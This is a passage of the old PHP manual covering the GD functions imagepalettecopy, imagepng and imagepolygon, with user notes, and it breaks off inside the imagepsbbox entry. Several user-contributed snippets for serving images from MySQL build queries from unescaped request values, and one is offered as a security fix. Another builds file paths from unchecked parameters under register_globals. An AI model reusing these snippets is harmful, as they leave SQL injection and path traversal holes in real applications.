(PHP 4 >= 4.0.1, PHP 5)

imagepalettecopy — Copy the palette from one image to another

Description

void imagepalettecopy ( resource $destination , resource $source )

imagepalettecopy() copies the palette from the source image to the destination image.

Parameters

destination

The destination image resource.

source

The source image resource.

Return Values

No value is returned.

Examples

Example #1 imagepalettecopy() example

<?php
// Create two palette images
$palette1 = imagecreate(100, 100);
$palette2 = imagecreate(100, 100);

// Allocate the background to be
// green in the first palette image
$green = imagecolorallocate($palette1, 0, 255, 0);

// Copy the palette from image 1 to image 2
imagepalettecopy($palette2, $palette1);

// Since the palette is now copied we can use the
// green color allocated to image 1 without using
// imagecolorallocate() twice
imagefilledrectangle($palette2, 0, 0, 99, 99, $green);

// Output image to the browser
header('Content-type: image/png');

imagepng($palette2);
imagedestroy($palette1);
imagedestroy($palette2);
?>

User Contributed Notes

buzz at nospam dot oska dot com 20-Oct-2005 04:51
actually it doesn't "copy" the palette exactly.  It copys the colors from the source palette to the destination image.   the palette you end up with in the destination image will be "same colors different order".   If you want an EXACT palette copy (at the expense of messing up your image if you aren't careful), then use this code:
<?
// this is a drop-in replacement for imagepalettecopy, except that it make NO attempt to modifiy any of the
// colors in the dest image, just the palette.   The result?  if you're palette's aren't very similar, the image will look completely different, and likely terrible!
function imagepalettecopy_exact ( $dst_img, $src_img) {
    for( $c = 0 ; $c < imagecolorstotal($src_img); $c++) {
        $col = imagecolorsforindex($src_img,$c);  //get color at index 'c' in the color table
        imagecolorset($dst_img,$c,$col[red],$col[green],$col[blue]); //set color at index 'c' to $col in the $dst_image
    }
}

?>
Los Olvidados 09-Jan-2003 04:55
To be precise, this function replaces the palette in the destination.
imageloadfont
imagepng
GD and Image Functions


Output a PNG image to either the browser or a file

imagepalettecopy
imagepolygon
GD and Image Functions
PHP Manual

imagepng

(PHP 4, PHP 5)

imagepng — Output a PNG image to either the browser or a file

Description

bool imagepng ( resource $image [, string $filename [, int $quality [, int $filters ]]] )

Outputs or saves a PNG image from the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

Note:

NULL is invalid if the quality and filters arguments are not used.

quality

Compression level: from 0 (no compression) to 9.

filters

Allows reducing the PNG file size. It is a bitmask field which may be set to any combination of the PNG_FILTER_XXX constants. PNG_NO_FILTER or PNG_ALL_FILTERS may also be used to respectively disable or activate all filters.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.1.3 | Added the filters parameter.
5.1.2 | Added the quality parameter.

Examples

<?php
$im = imagecreatefrompng("test.png");

header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

See Also

  • imagegif() - Output image to browser or file
  • imagewbmp() - Output image to browser or file
  • imagejpeg() - Output image to browser or file
  • imagetypes() - Return the image types supported by this PHP build
  • imagesavealpha() - Set the flag to save full alpha channel information (as opposed to single-color transparency) when saving PNG images

User Contributed Notes

matteosistisette at gmail dot com 09-Oct-2011 12:02
The name "quality" for the compression parameter is quite misleading, as png compression is always lossless. The trade off is between speed and filesize, it cannot affect quality.

Here's something I found at stackoverflow; I haven't checked it, but if it is correct it should definitely included in the documentation:

---
from php source (gd.h):

/* 2.0.12: Compression level: 0-9 or -1, where 0 is NO COMPRESSION at all,
* 1 is FASTEST but produces larger files, 9 provides the best
* compression (smallest files) but takes a long time to compress, and
* -1 selects the default compiled into the zlib library.
*/
Conclusion: Based on the Zlib manual (http://www.zlib.net/manual.html) the default compression level is set to 6.
---

Regarding suggestions to rescale the 0-99 quality range of jpeg into the 0-9 range of png, note that for jpeg 99 is minimum compression (maximum quality) while for png 9 is maximum compression (quality doesn't change).
Zane, MegaLab.it 14-Jul-2011 11:38
My script was unable to complete: Fatal error: Allowed memory size of XX bytes exhausted (tried to allocate XX+n bytes).

I found out that PHP handles images in uncompressed format: my input image was 8768x4282@32 bit => ~150 MB per single in-memory copy.

As a solution, you can either check the dimensions and reject anything too big or, as I did, use ini_set('memory_limit','1024M'); on the page start (if your server has enough on board memory).
boukeversteegh at gmail dot com 03-May-2011 02:41
If you care about speed, you probably already cache your generated images to a file. In that case, DON'T use "createimagefrompng" and "imagepng" to output the image. Use fpassthru instead. It is literally hundreds of times faster.

<?php
  header("Content-Type: image/png");

  # Generate cachefile for image, if it doesn't exist
  if( !file_exists($cachefile) ) {
    $im = generateimage();     # some code generates an image resource
    imagepng($im, $cachefile); # store the image to cachefile

    # don't output it like this:
    /* imagepng($im);*/

    imagedestroy($im);
  }

  $fp = fopen($cachefile, 'rb'); # stream the image directly from the cachefile
  fpassthru($fp);
  exit;
?>

I've tested it with a 5120x5120 (1.2Mb) image, that was cached on the harddisk. Using imagepng, the transfer took 12 seconds. Using fpassthru, it took only 32ms!
codam 15-Mar-2011 10:03
Creating a transparent image filled with tranparent color only

I had some hard times putting up this one:

<?php
// Set the image
$img = imagecreatetruecolor(100,100);
imagesavealpha($img, true);

// Fill the image with transparent color
$color = imagecolorallocatealpha($img,0x00,0x00,0x00,127);
imagefill($img, 0, 0, $color);

// Save the image to file.png
imagepng($img, "file.png");

// Destroy image
imagedestroy($img);
?>
mhorne69 at gmail dot com 24-Oct-2010 07:02
If you're generating an image dynamically based on post data and don't want to save it to the server, sending it to be displayed can cause problems as when the person tries to save it, the browser will request it again from the server (causing any post data to be lost and probably a corrupted png).

The easiest way to get around this is to force it to download using the content disposition header, for example:

<?php
header('Content-Disposition: Attachment;filename=image.png');
header('Content-type: image/png');
?>
anonymous 01-Sep-2010 12:51
If you need to call imagepng() multiple times (for example, when you want to send it to the browser, but also to a disk cache), write your image to a file first, THEN call readfile() on it.

PHP internally works with a temporary file when sending the image to the browser, so you'll gain nothing by calling imagepng() twice.
wietse89 at gmail dot com 29-Mar-2010 06:55
When you allow multiple output formats, (jpg/png) but want to use the 1-100 quality scale (like jpg), you will have to format the number:

<?php
$pngQuality = ($quality - 100) / 11.111111;
$pngQuality = round(abs($pngQuality));
imagepng($resource, $path, $pngQuality);
?>
r.lomas at infonie.fr 19-Feb-2010 07:53
I just lost about 4 hours on a really stupid problem. My images on the local server were somehow broken and therefore did not display in the browsers. After much looking around and testing, including re-installing apache on my computer a couple of times, I traced the problem to an included file.
No the problem was not a whitespace, but the UTF BOM encoding character at the begining of one of my inluded files...
So beware of your included files!
Make sure they are not encoded in UTF or otherwise in UTF without BOM.
Hope it save someone's time.
thalis kalfigopoulos 08-May-2009 04:17
I ran across the following WRT sessions and image creation.

In main.php:
<?php
  (...session in progress...)
  $_SESSION['text']='some text...';
  $imgSrc='http://foo.com/createImage.php?sid='.session_id();
  echo('<img src="'.$imgSrc.'"/>');
  unset($_SESSION['text']);
...
?>

In createImage.php:
<?php
  header('image/png');
  session_id($_REQUEST['sid']);
  session_start();
  $img=imagecreatetruecolor(200, 30);
  $text_color=imagecolorallocate($img, 200, 200, 200);
  imagestring($img, 5, 5, 5,  $_SESSION['text'], $text_color);
  imagepng($img);
  imagedestroy($img);
?>

Problem: main.php execution ends before createImage.php writing the text to image, thus the unset($_SESSION['text']) destroys the text and you end up with empty image.
Solution: move call to unset() as last statement of createImage.php
matt at mattbostock dot com 16-Mar-2009 12:11
To change the background of a 24-bit PNG for graceful degradation in IE6, the PNG file needs a bKGD chunk:

<?php
    // insert a BKGD chunk into the PNG file for graceful image degradation in IE6
    $bgColor = array(250, 250, 250);
    $pngData = bin2hex(file_get_contents($filename));

    $idatMarker = '200049444154';
    $bkgdMarker = '624b4744';

    $bkgdChunk = '0006' . $bkgdMarker;
    foreach ($bgColor as $bit)
    {
        $bkgdChunkData .= '00' . dechex($bit);
    }
    $bkgdChunk .= $bkgdChunkData;
    $bkgdChunk .= dechex(crc32(pack('H*', $bkgdMarker . $bkgdChunkData))) . '0000';

    $parsed = explode($idatMarker, $pngData, 2); // split file by first 'IDAT' chunk
    $pngData = pack('H*', $parsed[0] . $bkgdChunk . $idatMarker . $parsed[1]);
    file_put_contents($cachedFilename, $pngData);
?>
eetu11 at suomi24 dot fi 01-Nov-2008 07:20
<?php

    // aid of the highlighted Alliance
    $marked_aid = 2403;

    // Preferences
    $mysqlhost = 'localhost';
    $mysqluser = 'user';
    $mysqlpass = 'password';
    $mysqldb = 'database';

    // Create database connection and select database
    $db = @mysql_connect($mysqlhost, $mysqluser, $mysqlpass) OR die('Can not connect to DB-Server!');
    $db_select = @mysql_select_db($mysqldb) OR die('Can not select DB!');

    // Create image: Map goes from -400 to 400
    // -> sums up tp 2*400+1 (+1 due to the 0 in the center)
    $image = imagecreate(801, 801);

    // Choose the colors of background, normal village and highlighted alliance
    $color_background = imagecolorallocate($image, 255, 255, 255);
    $color_normal = imagecolorallocate($image, 200, 200, 200);
    $color_marked = imagecolorallocate($image, 255, 0, 0);

    // Fill images background with chosen color
    imagefill($image, 0, 0, $color_background);

    // Select ALL villages from the DB and order by ascending ID
    // (Fields are numbered from top left to bottom right)
    $query = 'SELECT x, y, aid FROM x_world ORDER BY id ASC';
    $result = @mysql_query($query) OR die('Can not select villages from table x_world!');

    // Check whether there any villages at all
    if (mysql_num_rows($result)) {

        // Select first village
        $row = @mysql_fetch_assoc($result);

        // These variables save the location on which we are currently drawing
        $x_pointer = 0;
        $y_pointer = 0;

        // Outer loop for the Y-coordinates
        for($y=400; $y >= -400; $y--) {

            // Inner loop for the X-coordinates
            for ($x=-400; $x <= 400; $x++) {

                // Once we reached the coordinates matching the current record selected from the DB:
                if ($row['x'] == $x AND $row['y'] == $y) {

                    // Selecting the village color depending on the aid
                    if ($row['aid'] == $marked_aid) {
                        $color = $color_marked;
                    } else {
                        $color = $color_normal;
                    }

                    // Drawing the village with the selected color
                    imagefilledrectangle($image, $x_pointer, $y_pointer, ($x_pointer + 1), ($y_pointer + 1), $color);

                    // Select next record
                    $row = @mysql_fetch_assoc($result);
                }

                // Increase pointer for X-coordinate
                $x_pointer++;
            }

            // Increase pointer for Y-coordinate
            $y_pointer++;

            // We reached the end of a line and have to set the X-pointer to 0 again
            $x_pointer = 0;
        }
    }

    // Select the HTTP-Header for the selected filetype
    header("Content-Type: image/png");

    // Generate image and print it
    imagepng($image);

?>
luxian.m [at] gmail [dot] com 16-Sep-2008 01:46
If you want to open a png image with alpha blending, you need to do something like this:

<?php
$file = 'semitransparent.png'; // path to png image
$img = imagecreatefrompng($file); // open image
imagealphablending($img, true); // setting alpha blending on
imagesavealpha($img, true); // save alphablending setting (important)
?>

I spent almost a day to find out why alpha blending doesn't work. I hope this is usefull to others too :)
vicrry at yahoo dot com 18-Apr-2008 04:16
@ phpman at texmedia dot de:

The compression range in PNG is in range 0-9, i think if you specified a compression level higher than 9, it'll be completely "compressed", or suppressed in the other words.

The compression level is originally for JPEG, which is in range 0 - 100, I think it'll work fine if you divide it by ten before passing to imagepng(). ;)
Jeff Sauro 13-Nov-2007 03:39
My webserver, running 5.14 didn't like the header that was generated using imagepng(). It works find on my local test server and on 4.x from another host.

The generated image displays in the browser (IE, firefox) but when saved to a file or inserted into an RTF file, the image was corrupted. As a test, when attempting to right-click to save as, the image format was not recognized.

The only work-around appears to be adding the additional paramaters.

So instead of just
imagepng($image); //DIDNT WORK--CORUPT IMAGE

This worked
imagepng($image,NULL,0,NULL);

and saving to disk, this worked:
imagepng($image,$file_location,0,NULL);

Jeff
phpman at texmedia dot de 27-Oct-2007 02:06
When changeing the PHP version from 4 to 5 I found out, that PHP5 handles imagepng() more restrictive than in PHP4. I'd used

imagepng($image,'',90);

to reduce the image quality whithout saving the image as a file. The quality parameter is not supported at all, I used imagejpg before and simply changed the function to imagepng whithout taking care of the existing parameters. It did not matter and there was no error in PHP4. But in PHP5, the image will not be shown anymore. So you have to remove it to have the standard:

imagepng($image);
alex at gateway-productions dot com 08-Jan-2007 03:17
barts code below does not work at least with gd 2

Only returns a blank image with alpha not the source resized

        $im = ImageCreateFromPNG($sourcefile);
        $im_dest = imagecreatetruecolor ($forcedwidth, $forcedheight);
        imagealphablending($im_dest, false);
        imagecopyresampled($im_dest, $im, 0, 0, 0, 0, $wm_width, $wm_height, $forcedwidth, $forcedheight);
        imagesavealpha($im_dest, true);
        imagepng($im_dest, $destfile);
        imagedestroy($img_dest);

ps you also forgot image destroy and you had a random var in imagepng undefined in your post
bart at resolume dot com 06-Apr-2006 08:54
If you want to resize a png-24 image and preserve the alpha channel you need to set imagealphablending($im_dest, false) on the destination image just after creating it with imagecreatetruecolor() and do a imagesavealpha($im_dest, true) on it before saving it:

<?php

$im = ImageCreateFromPNG('redfade.png');

$im_dest = imagecreatetruecolor (500, 300);
imagealphablending($im_dest, false);

imagecopyresampled($im_dest, $im, 0, 0, 0, 0, 300, 300, 500, 300);

imagesavealpha($im_dest, true);
imagepng($im_re, 'small_redfade.png');

?>
adrenalin at NOSPAM dot myrealbox dot com 27-Dec-2005 07:22
Trying to resize a png 256 colors image and save it in 256 colors with a correct color palette ? (if you'll save a 256 color image in truecolor palette the result image will have a big size).
I spent some hours trying various function to get a good quality 256 color png image, but because of color palette the result image quality was awful.
But thank to the comment of zmorris at zsculpt dot com from imagetruecolortopalette function page, i figured out how to get a properly image!

<?php
function resize_png($src,$dst,$dstw,$dsth) {
    list($width, $height, $type, $attr) = getimagesize($src);
    $im = imagecreatefrompng($src);
    $tim = imagecreatetruecolor($dstw,$dsth);
    imagecopyresampled($tim,$im,0,0,0,0,$dstw,$dsth,$width,$height);
    $tim = ImageTrueColorToPalette2($tim,false,255);
    imagepng($tim,$dst);
}
//zmorris at zsculpt dot com function, a bit completed
function ImageTrueColorToPalette2($image, $dither, $ncolors) {
    $width = imagesx( $image );
    $height = imagesy( $image );
    $colors_handle = ImageCreateTrueColor( $width, $height );
    ImageCopyMerge( $colors_handle, $image, 0, 0, 0, 0, $width, $height, 100 );
    ImageTrueColorToPalette( $image, $dither, $ncolors );
    ImageColorMatch( $colors_handle, $image );
    ImageDestroy($colors_handle);
    return $image;
}
?>

Good luck,
Namolovan Nicolae, Moldova
awalton at gmail dot com 24-Dec-2005 01:17
PNG images (as any image) can be stored in a MySQL blob field, but if you want to do this, you'll want to serialize the image stream into a better form. I would recommend base64_encode() and base64_decode(). (Just fopen() the file, fread() the contents in, base64_encode() the string, and fire off your SQL query (use addslashes()/stripslashes() to be more secure)).

This has been posted an innumerable amount of times throughout the site, but it's still terrible that a lot of users simply don't understand this and use it to its full potential.

I would also recommend that if you are doing images this way, to keep an image cache folder somewhere that PHP can access (possibly even somewhere off your webroot?). That way if your website is swamped with traffic it won't kill the SQL server.
vladson at pc-labs dot info 04-Jul-2005 08:00
To send 'Content-Length' header (like in static pictures case) i use "Output handler" like this...
<?php
//    Output handler
function output_handler($img) {
    header('Content-type: image/png');
    header('Content-Length: ' . strlen($img));
    return $img;
}

//    Image output
ob_start("output_handler");
imagepng($im);
ob_end_flush();
?>
neburk0rk at gmail dot com 20-May-2005 11:50
This is my way to store PNG-images in a MySQL database... You cannot directly store the PNG-image in a variable, and then parse it in the database, cos if you try to define it to a variable, it'll still just output it...
In my method i use three functions
 to "capture" the output and store it in a variable; ob_start (to start the output buffering),    ob_get_contents  (to capture the output),    and  ob_end_clean (to erase the cache, and end the output buffering)

<?php
$imagefile = "changethistogourimage.gif";

$image = imagecreatefromgif($imagefile);
ob_start();
imagepng($image);
$imagevariable = ob_get_contents();
ob_end_clean();

/*
HERE YOU CAN MESS WITH THE $imagevariable AS YOU LIKE
*/
?>
php at no dot spam dot prosa dot net 04-May-2005 07:40
You could use the function imagecreatefrompng

(I assume that you already know how to get the text from the url.)

The only thing left to do is put that text on the image using the correct colors for you.

<?php

$im = @imagecreatefrompng($imgname);

$text_color = imagecolorallocate ($im, $Red,$Green,$Blue);

imagestring ($im, 3,  5, 15,  $SomeTextFromURL, $text_color);

?>

Regards,
Peter Berkhout.
14-Apr-2005 12:11
To cbrasho at yahoo dot com

I have read your note and the note that was made in reply. My SIMPLE solution is to add a key to each image record in the database so that the ID+Key pair will be used very similarly to a Username+Password pair =) all you have to do is create a unique random number or something to put in the "Key" field of the database when the entry is made.

i've modified the code and pasted it here...

<?php
//get file ID+Key
$id = $_REQUEST['id'];
$key = $_REQUEST['key']; // i added this!

//get data from blob
$sql = "SELECT Data, Type, Extension FROM Images WHERE ID=$id AND Key=$key"; // this is the clever bit =D
$records=mysql_query($sql);
$record=mysql_fetch_row($records);

$data=$record['Data'];
$type=$record['Type'];
$ext=$record['Extension'];

//output data
header("Content-Type: $type");
header("Content-Disposition: inline; filename=img$id.$ext");

echo $data;
?>

all i did was add 1 line and change another =D

now if "image.php?id=1&key=A29F1X" gives a result, "image.php?id=2&key=A29F1X" will output an image of zero bytes in size because the keys in the database are unique =)
dws at mrao dot cam dot ac dot uk 22-Jan-2005 02:03
Presumably it returns true on success and false on failure, although the documentation doesn't actually say so.
10-Nov-2004 02:08
To cbrasho at yahoo dot com

I don't get the problem. If you want to have images stored as blobs, you can do a show.php like this:

<?php
//get file ID
$id = $_REQUEST['id'];

//get data from blob
$sql = "SELECT Data, Type, Extension FROM Images WHERE ID=$id";
$records=mysql_query($sql);
$record=mysql_fetch_row($records);

$data=$record['Data'];
$type=$record['Type'];
$ext=$record['Extension'];

//output data
header("Content-Type: $type");
header("Content-Disposition: inline; filename=img$id.$ext");

echo $data;
?>

I've done this many times (conceptually), and it works like a charm, although I would recommend a little more security on that indata. If you have a unified place images go in (like an upload form), you can even drop the type and extension part by saving every image as the same filetype.
pm at dontspamme dot pietmarcus dot com 23-Aug-2004 01:43
in reply to: cbrasho at yahoo dot com

if you use Apache as a webserver, you could do the following:

You could set up a 'img' directory in your webspace.
In that directory there will be two files: a .htaccess file and a img.php file
the .htaccess file contains the following code:
ErrorDocument 404 /img/img.php

the img.php file looks something like this:

<?php
  $file = $_SERVER['REDIRECT_URL'];

  $result = mysql_query('select img_blob from images where filename=\\'' . $file . '\\');
  list($blob) = mysql_fetch_row($result);

  header('HTTP/1.0 200 Ok');
  header("Content-type: image/jpeg");

  print $blob; # or whatever works, I don't use this
?>

if you use a url for your image like http://test.com/img/image1.jpeg, which doesn't exist, normally you would get a 404-page. in this case, the 404 is being handled by img.php, which brings up the required image...
cbrasho at yahoo dot com 17-Aug-2004 07:49
Having your pictures stored in a database sounds great but brings you a lot of trouble.
Storing images in a DB you will have a script show.php that will appear in <img> tags: <img src='show.php?img_id=$some_id'>
But if you want to have REGISTER GLOBALS = OFF, you are in trouble and there is no way (at leas as far as i know) to solve the problem but to put te img from the DB in a file and put the coresponding file name in the <img> tag. But this brings another problem: simultaneous accesses to the page. So you will have to find a way to give unique names to the picture files for each simultaneous access to the page. The solution might be using sessions. This is how you end up having a very compleh PHP script for a very simple problem. So, the basic ideea is " do not store your pictures in a blob unless you know exactly what you are doing".
mail at stefanbechtold dot de 16-Apr-2003 06:14
to all the ones, who like having their users fill their profil with an image without destroying a fixed design the following should be a great way to handle this problem.

this file opens a picture from $imagepath and returns it as a valid picture to embed in: <img src="file.php?image=123.jpg[?maxX=200&maxY=150]"> (in [] = optional)

but this file does more than this. it also adds black borders to files that are smaller than the max. size, so adding borders to the left and right where a image is too high :-)

if there is a need for a copyright note this script will also help you. you can put in a various text to $copyright. the text length should be in relationship to $maxX and $maxY.

Well there are other features of the script, just try'em out and have fun with it :-)

bye

<?php

# standard height & weight if not given
if(!isset($maxX)) $maxX = 100;
if(!isset($maxY)) $maxY = 75;

# colour- & textvalues
$picBG = "0,0,0"; # RGB-value !
$picFG = "104,104,104"; # RGB-value !
$copyright = "stefan bechtold";
$font = 1;

# minimal & maximum zoom
$minZoom = 1; # per cent related on orginal (!=0)
$maxZoom = 200; # per cent related on orginal (!=0)

# paths
$imgpath = "userimages/"; # ending with "/" !
$nopicurl = "../images/nopic.jpg"; # starting in $imagepath!!!
$nofileurl = "../images/nofile.jpg"; # starting in $imagepath!!!

if(!isset($image) || empty($image))
    $imageurl = $imgpath . $nopicurl;
elseif(! file_exists($imgpath . trim($image)))
    $imageurl = $imgpath . $nofileurl;
else
    $imageurl = $imgpath . trim($image);

# reading image
$image = getImageSize($imageurl, $info); # $info, only to handle problems with earlier php versions...
switch($image[2]) {
      case 1:
       # GIF image
        $timg = imageCreateFromGIF($imageurl);
        break;
    case 2:
       # JPEG image
        $timg = imageCreateFromJPEG($imageurl);
        break;
    case 3:
       # PNG image
        $timg = imageCreateFromPNG($imageurl);
        break;
}

# reading image sizes
$imgX = $image[0];
$imgY = $image[1];

# calculation zoom factor
$_X = $imgX/$maxX * 100;
$_Y = $imgY/$maxY * 100;

# selecting correct zoom factor, so that the image always keeps in the given format
# no matter if it is more higher than wider or the other way around
if((100-$_X) < (100-$_Y)) $_K = $_X;
else $_K = $_Y;

# zoom check to the original
if($_K > 10000/$minZoom) $_K = 10000/$minZoom;
if($_K < 10000/$maxZoom) $_K = 10000/$maxZoom;

# calculate new image sizes
$newX = $imgX/$_K * 100;
$newY = $imgY/$_K * 100;

# set start positoin of the image
# always centered
$posX = ($maxX-$newX) / 2;
$posY = ($maxY-$newY) / 2;

# creating new image with given sizes
$imgh = imageCreateTrueColor($maxX, $maxY);

# setting colours
$cols = explode(",", $picBG);
$bgcol = imageColorallocate($imgh, trim($cols[0]), trim($cols[1]), trim($cols[2]));
$cols = explode(",", $picFG);
$fgcol = imageColorallocate($imgh, trim($cols[0]), trim($cols[1]), trim($cols[2]));

# fill background
imageFill($imgh, 0, 0, $bgcol);

# create small copy of the image
imageCopyResampled($imgh, $timg, $posX, $posY, 0, 0, $newX, $newY, $image[0], $image[1]);

# writing copyright note
imageStringUp($imgh, $font, $maxX-9, $maxY-3, $copyright, $fgcol);

# output
switch($image[2]) {
      case 1:
    # GIF image
        header("Content-type: image/gif");
        imageGIF($imgh);
    case 2:
    # JPEG image
        header("Content-type: image/jpeg");
        imageJPEG($imgh);
    case 3:
    # PNG image
        header("Content-type: image/png");
        imagePNG($imgh);
}

# cleaning cache
imageDestroy($timg);
imageDestroy($imgh);

?>
23-Jan-2003 10:20
"Tip: As with anything that outputs its result directly to the browser, you can use the output-control functions (http://www.php.net/manual/en/ref.outcontrol.php) to capture the output of this function, and save it in a string (for example)."

ob_start();
imagepng($image);
$image_data = ob_get_contents();
ob_end_clean();

And now you can save $image_data to a database, for example, instead of first writing it to file and then reading the data from it. Just don't forget to use mysql_escape_string...
johnbeech at mkv25.net 20-Jan-2003 04:41
PNG files are already compressed. They use a lossless compression algorithm. If you are using HighColour images, the compression only does so much. For low colour images (16 or 256) the compression is much better.

It is pointless trying to compress the images further before sending to a browser.
bgd1977 at hotmail dot com 26-Jul-2002 06:37
I have experienced segfaults and bus errors with the following configuration: FreeBSD4.4, Apache 1.3.26, PHP 4.2.2, GD-1.8.4, PDFlib 4.0.1. The apache process crashed when calling the imagepng function, but it didn't crash when calling the imagejpg function, or imagecreatefrompng...

 Some wasted hours (lots) later, in which I have tried to recompile gd, libpng, php, libjpeg, what-not, I have found the following advices:
http://bugs.php.net/bug.php?id=16841

 So the problem was not with the png library, but rather with the PDFlib. Even though all the threads led to a png-problem... so I have simply upgraded to PDFlib 4.0.3 (w/o any special configure arguments; --with-libpng didn't work anyways), recompiled PHP, and now everything works (imagepng, pdf creation, etc.).

 Hope this helps,
 bogdan
ruelle at xtof dot com 17-Feb-2002 06:34
Better than a chmod 777 to any '/dir/pic.png' you should :
- test if dir is writable (is_writable func.)
- use chmod 700 (more secure because let only the webserver ID have access)

In any case you should program a (crontab) script to change the owner ID of any images created.
imagepalettecopy
imagepolygon
GD and Image Functions


Draws a polygon

imagepng
imagepsbbox
GD and Image Functions
PHP Manual

imagepolygon

(PHP 4, PHP 5)

imagepolygon — Draws a polygon

Description

bool imagepolygon ( resource $image , array $points , int $num_points , int $color )

imagepolygon() creates a polygon in the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

points

An array containing the polygon's vertices, e.g.:

points[0] | = x0
points[1] | = y0
points[2] | = x1
points[3] | = y1

num_points

Total number of points (vertices).

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagepolygon() example

<?php
// Create a blank image
$image = imagecreatetruecolor(400, 300);

// Allocate a color for the polygon
$col_poly = imagecolorallocate($image, 255, 255, 255);

// Draw the polygon
imagepolygon($image, array(
        0,   0,
        100, 200,
        300, 200
    ),
    3,
    $col_poly);

// Output the picture to the browser
header('Content-type: image/png');

imagepng($image);
imagedestroy($image);
?>

The above example will output something similar to:

Output of example : imagepolygon()

See Also

  • imagecreate() - Create a new palette based image
  • imagecreatetruecolor() - Create a new true color image

User Contributed Notes

tatlar at yahoo dot com 11-Sep-2006 04:48
Function to get 5-sided polygon (pentagon) or star (pentagram) co-ords.
<?php
function _makeFiveSidedStar( $x, $y, $radius, $shape='polygon', $spiky=NULL ) {
    $point = array() ; // new array
    $angle = 360 / 5 ;
    $point[0]['x'] = $x ;
    $point[0]['y'] = $y - $radius ;
    $point[2]['x'] = $x + ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[2]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    $point[4]['x'] = $x + ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[4]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['x'] = $x - ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[8]['x'] = $x - ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[8]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    if( $shape == 'star' ) {
        if( $spiky == NULL ) $spiky = 0.5 ;  // degree of spikiness, default to 0.5
        $indent = $radius * $spiky ;
        $point[1]['x'] = $x + ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[1]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[3]['x'] = $x + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[3]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[5]['x'] = $x ;
        $point[5]['y'] = $y + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['x'] = $x - ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[9]['x'] = $x - ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[9]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
    }
    ksort( $point ) ;
    $coords = array() ;  // new array
    foreach( $point as $pKey=>$pVal ) {
        if( is_array( $pVal ) ) {
            foreach( $pVal as $pSubKey=>$pSubVal ) {
                if( !empty( $pSubVal ) ) array_push( $coords, $pSubVal ) ;
            }
        }
    }
    return $coords ;
}
$values = _makeFiveSidedStar( 100, 100, 50, 'star' ) ;
?>
glowell at flash dot net 17-Nov-2005 03:43
Something to be aware of, ImagePolygon appears to convert the array of points passed to it from whatever format they may have been in originally into integers. This means if you pass it an array of floats (after running a rotation routine for example) the floats will be changed to integers INSIDE THE ORIGINAL ARRAY.

An extreme example: if for some reason you had an unit-sized polygon pt-array ( -1<x|y<1 for easy scaling purpose for instance) and for some reason your code calls imagepolygon on it (why? it'd only be a dot anyway) the array would be unusable after that (all either 1s, 0s or -1s). Scaling a unit-sized array, drawing it and then scaling it again will also may have a different result than expected.

Obviously, if the array in its original state is important to your code, it should use a copy of the original array for this call. If your code draws the same polygon multiple times but resizes it for different cases, you should have each size be created off an original template rather than adjusting a single polygon array.
jsnell at networkninja dot com 17-Feb-2001 07:07
Here are some handy routines for rotation and translation of polygons.  Scaling could be added easily as well.

<?php
function translate_point(&$x,&$y,$angle,$about_x,$about_y,$shift_x,$shift_y)
{
    $x -= $about_x;
    $y -= $about_y;
    $angle = ($angle / 180) * M_PI;
/* math:
[x2,y2] = [x,  *  [[cos(a),-sin(a)],
           y]      [sin(a),cos(a)]]
==>
x = x * cos(a) + y*sin(a)
y = x*-sin(a) + y*cos(a)
*/

    $new_x = $x * cos($angle) - $y * sin($angle);
    $new_y = $x * sin($angle) + $y * cos($angle);
    $x = $new_x+ $about_x + $shift_x ;
    $y = $new_y + $about_y + $shift_y;
}

function translate_poly($point_array, $angle, $about_x, $about_y,$shift_x,$shift_y)
{
    $translated_poly = Array();
    while(count($point_array) > 1)
    {
        $temp_x = array_shift($point_array);
        $temp_y = array_shift($point_array);
        translate_point($temp_x, $temp_y, $angle, $about_x, $about_y,$shift_x, $shift_y);
        array_push($translated_poly, $temp_x);
        array_push($translated_poly, $temp_y);
    }
    return $translated_poly;
}
?>
imagepng
imagepsbbox
GD and Image Functions


Give the bounding box of a text rectangle using PostScript Type1 fonts

imagepolygon
imagepsencodefont
GD and Image Functions
PHP Manual

imagepsbbox

(PHP 4, PHP 5)

imagepsbbox — Give the bounding box of a text rectangle using PostScript Type1 fonts

Description

array imagepsbbox ( string $text , resource $font , int $size )
array imagepsbbox ( string $text , resource $font , int $size , int $space , int $tightness , float $angle )

Gives the bounding box of a text rectangle using PostScript Type1 fonts.

The bounding box is calculated using information available from character metrics, and unfortunately tends to differ slightly from the results achieved by actually rasterizing the text. If the angle is 0 degrees, you can expect the text to need 1 pixel more to every direction.

Parameters

text

The text to be written.

font_index

A font resource, returned by imagepsloadfont().

size

size is expressed in pixels.

space

Allows you to change the default value of a space in a font. This amount is added to the normal value and can also be negative. Expressed in character space units, where 1 unit is 1/1000th of an em-square.

tightness

